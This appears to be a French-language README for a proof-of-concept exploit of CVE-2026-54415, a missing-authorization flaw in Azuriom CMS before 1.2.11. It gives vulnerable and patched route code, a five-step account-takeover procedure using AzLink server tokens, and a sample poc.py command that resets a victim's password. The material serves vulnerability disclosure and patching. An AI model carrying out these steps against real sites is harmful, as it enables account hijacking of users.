
PoC pour CVE-2026-54415 — Azuriom CMS (<1.2.11) Broken Access Control → prise de contrôle de compte
Absence d'autorisation sur les routes de gestion des serveurs admin dans Azuriom CMS < 1.2.11 permet à tout administrateur à faibles privilèges (possédant uniquement admin.access) de générer un jeton de serveur AzLink et de prendre le contrôle de tout compte non administrateur.
| CVE | CVE-2026-54415 |
| Produit | Azuriom CMS |
| Affecté | < 1.2.11 |
| Corrigé dans | 1.2.11 — commit 4b744bc |
| CWE | CWE-862 (Missing Authorization), CWE-269 (Improper Privilege Management) |
| CVSS 3.1 | 8.1 High — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| CVSS 4.0 | 8.6 High — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
Ce PoC est publié à des fins défensives et éducatives contre une version corrigée. Exécutez-le uniquement sur des systèmes que vous possédez ou que vous êtes explicitement autorisé à tester. Mettez à niveau vers Azuriom
1.2.11+.
✅ Vérifié de bout en bout sur une instance locale d'Azuriom 1.2.10 — contournement du contrôle d'accès, création de jeton, changement de mot de passe confirmé + connexion de la victime, et la limite de protection admin.
Dans routes/admin.php, l'ensemble du panneau d'administration est protégé par un seul groupe can:admin.access, et chaque fonctionnalité sensible est censée ajouter son propre middleware granulaire can:admin.*. Avant la version 1.2.11, les routes de gestion des serveurs n'avaient pas ce middleware :
// routes/admin.php (vulnérable, < 1.2.11)
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
Tout utilisateur pouvant accéder au panneau d'administration (admin.access) peut donc créer des serveurs. Il n'existait aucune permission admin.servers — elle n'existait pas avant le correctif.
Le développeur a créé une nouvelle permission admin.servers et a enveloppé les routes dedans :
// routes/admin.php (corrigé, 1.2.11)
Route::middleware('can:admin.servers')->group(function () {
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
});
Le même commit a également ajouté les vérifications de permission auparavant manquantes aux routes social-links et pages/posts.attachments.
La création d'un serveur génère un jeton de serveur de 32 caractères (app/Http/Controllers/Admin/ServerController.php) :
$server = new Server([...$request->validated(), 'token' => Str::random(32), ...]);
Ce jeton authentifie l'API AzLink (routes/api.php), dont le middleware VerifyServerToken fait confiance à toute requête portant un en-tête Azuriom-Link-Token valide. AzLink expose des points de terminaison de gestion de compte :
POST /api/azlink/password → changer le mot de passe d'un utilisateur par game_id
POST /api/azlink/email → changer l'email d'un utilisateur par game_id
POST /api/azlink/register → créer des utilisateurs
POST /api/azlink/user/{id}/money/{add,remove,set}
updatePassword refuse uniquement lorsque la cible isAdmin() — chaque compte non administrateur peut être pris en contrôle :
public function updatePassword(Request $request) {
// valide game_id + mot de passe
$user = User::where('game_id', $request->input('game_id'))->firstOrFail();
if ($user->isAdmin()) { return response()->noContent(); } // seuls les admins sont protégés
$user->update(['password' => $request->input('password')]);
...
}
La création du serveur appelle $server->bridge()->verifyLink() avant d'enregistrer. Pour le type mc-azlink, cela est inconditionnellement vrai :
// app/Games/Minecraft/Servers/AzLink.php
public function verifyLink(): bool { return true; }
Ainsi, l'attaquant fournit n'importe quelle address factice, le serveur s'enregistre quand même, et le nouveau jeton est affiché dans le panneau dans la commande de configuration AzLink (/azlink setup <url> <token>).
1. S'authentifier en tant qu'admin à faibles privilèges (uniquement admin.access — PAS admin.servers, qui n'existait pas)
2. POST /admin/servers name=x&type=mc-azlink&address=127.0.0.1 → serveur enregistré, jeton créé
3. GET /admin/servers/{id}/edit → lire le jeton depuis la commande de configuration
4. POST /api/azlink/password (entête Azuriom-Link-Token: <token>) game_id=<victime>&password=<nouveau>
5. Se connecter en tant que la victime → prise de contrôle totale du compte
python3 poc.py \
--url https://target.example \
--admin-user lowpriv_admin --admin-pass 'password' \
--victim-game-id 1001 \
--new-password 'Pwn3d!TakenOver'
Le script se connecte, crée un jeton de serveur, l'extrait, réinitialise le mot de passe de la victime via AzLink, et affiche le jeton et le résultat. Voir poc.py --help pour tous les indicateurs. Nécessite requests (pip install requests).
1.2.11 ou ultérieur.admin_servers et révoquez tout jeton de serveur inattendu.admin.access.1.2.11MIT — pour tests de sécurité autorisés et recherche uniquement.